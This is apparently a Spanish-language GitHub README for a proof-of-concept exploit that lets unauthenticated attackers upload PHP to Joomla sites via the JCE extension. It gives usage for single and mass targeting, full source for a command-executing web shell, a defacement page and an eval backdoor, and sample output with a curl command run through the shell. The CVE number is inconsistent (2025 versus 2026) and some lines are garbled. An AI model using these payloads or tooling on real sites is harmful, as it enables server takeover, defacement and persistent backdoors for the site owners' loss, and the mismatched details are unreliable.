
CVE-2025-48907 - Exploit de RCE no autenticado para Joomla JCE < 2.9.99.5
http.component:"Joomla"
app="Joomla"
Este repositorio contiene un exploit de prueba de concepto (PoC) para CVE-2026-48907, una vulnerabilidad crítica en la extensión Joomla! JCE (Joomla Content Editor) en versiones anteriores a 2.9.99.5. La vulnerabilidad permite a atacantes no autenticados cargar archivos PHP arbitrarios mediante la funcionalidad de importación de perfiles de JCE, lo que lleva a la ejecución remota de código (RCE).
Esta herramienta es solo para fines educativos y de pruebas autorizadas.
- Úsela solo en sistemas que posea o tenga permiso explícito para probar
- El autor no se hace responsable de ningún uso indebido o actividades ilegales
- Obtenga siempre la autorización adecuada antes de realizar pruebas
| Propiedad | Valor |
|---|---|
| CVE ID | CVE-2026-48907 |
| Producto | Extensión Joomla! JCE |
| Versiones afectadas | < 2.9.99.5 |
| Tipo de vulnerabilidad | Carga de archivos PHP sin autenticación → RCE |
| Puntuación CVSS | 9.8 (Crítica) |
| Vector de ataque | Red |
| Autenticación | Ninguna requerida |
| Impacto | Compromiso total del sistema |
index.php?option=com_jce&task=profiles.import)/tmp/ y se puede ejecutar mediante acceso directo# Clonar el repositorio
git clone https://github.com/0xgh057r3c0n/CVE-2025-48907.git
cd CVE-2025-48907
# Instalar dependencias requeridas
pip3 install requests urllib3
requestsurllib3python3 CVE-2025-48907.py -u <URL_OBJETIVO> -F <ARCHIVO_PHP_A_SUBIR>
python3 CVE-2025-48907.py -u http://target-joomla.com -F shell.php
python3 CVE-2025-48907.py -u http://target-joomla.com -F deface.php
python3 CVE-2025-48907.py -u http://target-joomla.com -F backdoor.php
python3 CVE-2025-48907.py -f targets.txt -F payload.php
python3 CVE-2025-48907.py -u http://target-joomla.com -F shell.php -v -o results.txt
| Argumento | Requerido | Descripción |
|---|---|---|
-u, --url | Sí* | URL de un solo objetivo (ej., http://target.com) |
-f, --file | Sí* | Archivo que contiene una lista de URLs objetivo (una por línea) |
-F, --upload-file | Sí | Archivo PHP a subir (shell, puerta trasera, página de desfiguración) |
-v, --verbose | No | Habilitar salida detallada para depuración |
-o, --output | No | Guardar URLs de subida exitosa en un archivo |
* Se debe proporcionar -u o -f
Cree un archivo targets.txt con una URL por línea:
http://joomla-site1.com
https://joomla-site2.com
http://192.168.1.100/joomla
# Los comentarios son ignorados
https://example-joomla.com
Todas las cargas útiles deben ser archivos PHP ya que el exploit sube código PHP que se ejecutará en el servidor.
Cree shell.php:
<?php
// Simple PHP Web Shell
if(isset($_GET['cmd'])){
echo "<pre>";
system($_GET['cmd']);
echo "</pre>";
} else {
echo "Usage: ?cmd=command";
}
?>
Cree deface.php:
<?php
// PHP Deface Page
echo '<!DOCTYPE html>
<html>
<head>
<title>Hacked by 0xgh057r3c0n</title>
<style>
body {
background: #000;
color: #0f0;
font-family: "Courier New", monospace;
text-align: center;
padding: 50px;
}
h1 { font-size: 4em; text-shadow: 0 0 20px #0f0; }
.ascii-art { white-space: pre; font-size: 12px; }
</style>
</head>
<body>
<h1>HACKED BY 0xgh057r3c0n</h1>
<div class="ascii-art">
██╗ ██╗ █████╗ ██████╗██╗ ██╗███████╗██████╗
██║ ██║██╔══██╗██╔════╝██║ ██╔╝██╔════╝██╔══██╗
███████║███████║██║ █████╔╝ █████╗ ██║ ██║
██╔══██║██╔══██║██║ ██╔═██╗ ██╔══╝ ██║ ██║
██║ ██║██║ ██║╚██████╗██║ ██╗███████╗██████╔╝
╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝╚══════╝╚═════╝
</div>
<p>Security is not a product, it\'s a process.</p>
<p>Server: <?php echo $_SERVER["SERVER_SOFTWARE"]; ?></p>
<p>Time: <?php echo date("Y-m-d H:i:s"); ?></p>
</body>
</html>';
?>
Cree backdoor.php:
<?php
// Minimal PHP Backdoor
if(isset($_REQUEST['c'])) { eval($_REQUEST['c']); }
?>
_____________ _______________ _______________ ________ ________ _____ ______ ________________________
\_ ___ \ \ / /\_ _____/ \_____ \ _ \ \_____ \/ _____/ / | | / __ \/ __ \ _ \______ \
/ \ \/\ Y / | __)_ ______ / ____/ /_\ \ / ____/ __ \ ______ / | |_> <\____ / /_\ \ / /
\ \____\ / | \ /_____/ / \ \_/ \/ \ |__\ \ /_____/ / ^ / -- \ / /\ \_/ \/ /
\______ / \___/ /_______ / \_______ \_____ /\_______ \_____ / \____ |\______ / /____/ \_____ /____/
\/ \/ \/ \/ \/ \/ |__| \/ \/
Extensión Joomla! JCE < 2.9.99.5 RCE sin autenticación
Autor : 0xgh057r3c0n (Subida de archivos PHP)
[*] Cargados 3 objetivo(s)
[*] Objetivo 1/3
[*] ==================================================
[+] Objetivo: http://target-joomla.com
[+] Obteniendo token CSRF...
[+] Token CSRF: a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6
[+] Subiendo archivo PHP: cve-2026-48907-1234.xml.php
[+] ¡Perfil importado exitosamente!
[+] Probando archivo PHP subido...
============================================================
[!!!!!] ¡ARCHIVO PHP SUBIDO EXITOSAMENTE!
[!!!!!] ¡El servidor ES VULNERABLE a CVE-2025-48907!
============================================================
[+] Vea su archivo PHP subido: http://target-joomla.com/tmp/cve-2026-48907-1234.xml.php
[+] Acceso rápido:
curl "http://target-joomla.com/tmp/cve-2026-48907-1234.xml.php?cmd=id"
/tmp/index.php?option=com_jce&task=profiles.import.xml.php en /tmp//tmp/Actualizar la extensión JCE:
Soluciones temporales:
/tmp/allow_url_fopen si no es necesarioAcciones posteriores al compromiso:
/tmp/Este proyecto está licenciado bajo la Licencia MIT - consulte el archivo LICENSE para más detalles.
¡Las contribuciones son bienvenidas! No dude en enviar una solicitud de extracción.
git checkout -b feature/AmazingFeature)git commit -m 'Add some AmazingFeature')git push origin feature/AmazingFeature)Si encuentra útil esta herramienta, considere darle una estrella ⭐ en GitHub!